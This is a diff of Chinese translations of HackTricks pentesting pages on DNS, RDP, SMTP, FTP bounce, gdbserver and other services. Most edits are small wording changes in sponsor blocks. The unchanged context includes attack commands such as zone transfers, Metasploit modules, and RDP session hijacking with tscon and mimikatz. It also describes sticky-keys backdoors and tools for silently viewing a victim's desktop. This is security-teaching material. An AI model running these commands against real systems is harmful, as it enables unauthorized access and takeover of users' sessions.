![](<../.gitbook/assets/image (914).png>)
@ -148,7 +148,7 @@ _注意如果您指明更大的数字所有条目仍然会被转储
![](<../.gitbook/assets/image (335).png>)
如果您只想**在个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
如果您只想**在个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_注意q参数用于搜索内容**支持正则表达式**_
@ -156,7 +156,7 @@ _注意q参数用于搜索内容**支持正则表达式**_
### 写权限
您可以通过尝试在新索引中创建新文档来检查您的写权限,运行类似以下内容:
您可以通过尝试在新索引中创建新文档来检查您的写权限,运行类似以下内容的命令
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -190,15 +190,15 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用程序、网络和云
**从黑客的角度看待您的网络应用程序、网络和云**
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践AWS黑客攻击<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客攻击<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,7 +9,7 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
@ -17,15 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本信息**
**域名系统 (DNS)** 作为互联网的目录,使用户能够通过 **易于记忆的域名** 访问网站,如 google.com 或 facebook.com而不是数字互联网协议 (IP) 地址。通过将域名转换为 IP 地址DNS 确保网页浏览器能够快速加载互联网资源,简化我们在在线世界中的导航。
**域名系统 (DNS)** 作为互联网的目录,使用户能够通过 **易于记忆的域名** 访问网站,如 google.com 或 facebook.com而不是数字互联网协议 (IP) 地址。通过将域名转换为 IP 地址DNS 确保网页浏览器能够快速加载互联网资源,简化我们在在线世界中的导航。
**默认端口:** 53
```
@ -52,7 +52,7 @@ DNS 中没有横幅,但您可以抓取 `version.bind. CHAOS TXT` 的魔法查
```bash
dig version.bind CHAOS TXT @DNS
```
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 可以指纹识别服务器。
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 可以指纹识别服务器。
还可以使用 **nmap** 脚本抓取横幅:
```
@ -66,7 +66,7 @@ dig any victim.com @<DNS_IP>
```
### **区域传输**
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`)
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`).
```bash
dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
@ -172,15 +172,15 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### 邮件发送不存在的账户
### 邮件发送不存在的账户
通过检查因发送目标域内无效地址而触发的未送达通知NDN通常会泄露有价值的内部网络细节。
通过检查因发送目标域内无效地址而触发的未送达通知NDN通常会泄露有价值的内部网络细节。
提供的未送达报告包括以下信息:
@ -223,7 +223,7 @@ host.conf
危险的 Bind 服务器配置设置:
| **选项** | **描述** |
| ----------------- | -------------------------------------------------------------------------- |
| ----------------- | ------------------------------------------------------------------------------ |
| `allow-query` | 定义哪些主机被允许向 DNS 服务器发送请求。 |
| `allow-recursion` | 定义哪些主机被允许向 DNS 服务器发送递归请求。 |
| `allow-transfer` | 定义哪些主机被允许从 DNS 服务器接收区域传输。 |
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用程序、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -75,15 +75,15 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -91,7 +91,7 @@ finger @internal@external
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -15,29 +15,29 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# 简介
如果您可以访问一个跳 FTP 服务器,您可以让它请求其他 FTP 服务器的文件(您知道一些凭据)并将该文件下载到您自己的服务器。
如果您可以访问一个跳 FTP 服务器,您可以让它请求其他 FTP 服务器的文件(您知道一些凭据)并将该文件下载到您自己的服务器。
## 要求
- 在 FTP 中间服务器上有有效的 FTP 凭据
- 在受害者 FTP 服务器上有有效的 FTP 凭据
- 两个服务器都接受 PORT 命令(跳 FTP 攻击)
- 两个服务器都接受 PORT 命令(跳 FTP 攻击)
- 您可以在 FTP 中间服务器的某个目录中写入
- 中间服务器将比您更有权限访问受害者 FTP 服务器(这是您要利用的)
## 步骤
1. 连接到您自己的 FTP 服务器并使连接被动pasv 命令),以便在受害者服务将发送文件的目录中监听
2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是需要的命令的明文,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是需要的命令的纯文本,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
3. 连接到 FTP 中间服务器并上传之前的文件
4. 使 FTP 中间服务器与受害者服务器建立连接并发送利用文件
5. 在您自己的 FTP 服务器上捕获文件
@ -48,9 +48,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -80,7 +80,7 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常位于 **8
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 获取黑客对您的网络应用程序、网络和云的看法
**获取黑客对您的网络应用程序、网络和云的看法**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。

View file

@ -15,9 +15,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -45,16 +45,16 @@ msf> use auxiliary/scanner/scada/modbus_findunitid
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>

View file

@ -1,8 +1,8 @@
# 3389 - Pentesting RDP
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,15 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本信息
由微软开发的 **远程桌面协议** (**RDP**) 旨在通过网络实现计算机之间的图形界面连接。要建立这样的连接,用户需要使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
由微软开发的 **远程桌面协议** (**RDP**) 旨在通过网络启用计算机之间的图形界面连接。要建立这样的连接,用户使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
**默认端口:** 3389
```
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
@ -94,9 +94,9 @@ tscon <ID> /dest:<SESSIONNAME>
```
现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用的用户断开连接。
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用该会话的用户断开连接。
您可以通过进程转储获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...
您可以通过转储进程来获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...
#### **Mimikatz**
@ -109,7 +109,7 @@ ts::remote /id:2 #Connect to the session
结合这个技术与 **stickykeys** 或 **utilman您将能够随时访问管理CMD和任何RDP会话**
您可以使用以下链接搜索已经被这些技术后门化的RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
您可以使用以下链接搜索已经被这些技术后门化的RDP: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** 是一个用 Powershell 创建的后期利用框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
**AutoRDPwn** 是一个用 Powershell 创建的后期利用框架,主要用于自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一个特性)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* 从命令行以自动化方式控制鼠标和键盘
@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -172,7 +172,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>

View file

@ -9,7 +9,7 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
@ -17,15 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本信息**
**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上运行,称为“目标”。这种设置允许 **GNU 调试器** 从不同的机器“主机”连接,主机上存储着源代码和调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线路进行,从而实现灵活的调试设置。
**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上并行运行,称为“目标”。这种设置允许 **GNU 调试器** 从不同的机器“主机”连接,主机上存储着源代码和调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线路进行,从而实现灵活的调试设置。
您可以让 **gdbserver 在任何端口上监听**,而此时 **nmap 无法识别该服务**
@ -200,22 +200,22 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践AWS黑客攻击<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客攻击<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
</details>

View file

@ -17,7 +17,7 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找允许您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
@ -179,7 +179,7 @@ Nmap: nmap --script smtp-enum-users <IP>
## DSN报告
**投递状态通知报告**:如果您向一个组织发送电子邮件到一个**无效地址**,该组织将通知您该地址无效,并**回复您一封邮件**。**返回邮件的头部**将**包含**可能的**敏感信息**如与报告交互的邮件服务的IP地址或防病毒软件信息
**投递状态通知报告**:如果您向一个组织发送电子邮件到一个**无效地址**,该组织将通过**邮件回复您**来通知该地址无效。**返回邮件的头部**将**包含**可能的**敏感信息**如与报告交互的邮件服务的IP地址或防病毒软件信息
## [命令](smtp-commands.md)
@ -248,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一)。有关 SMTP Smuggling 的更多信息,请查看:
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一部分)。有关 SMTP Smuggling 的更多信息,请查看:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
@ -258,7 +258,7 @@ SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信
由于伪造 SMTP 消息的容易性,组织通过采用 **SPF**、**DKIM** 和 **DMARC** 来防止未经授权的电子邮件代表他们发送。
有关这些对策的 **完整指南** 可在 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) 上找到
有关这些对策的 **完整指南** 可在 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) 获取
### SPF
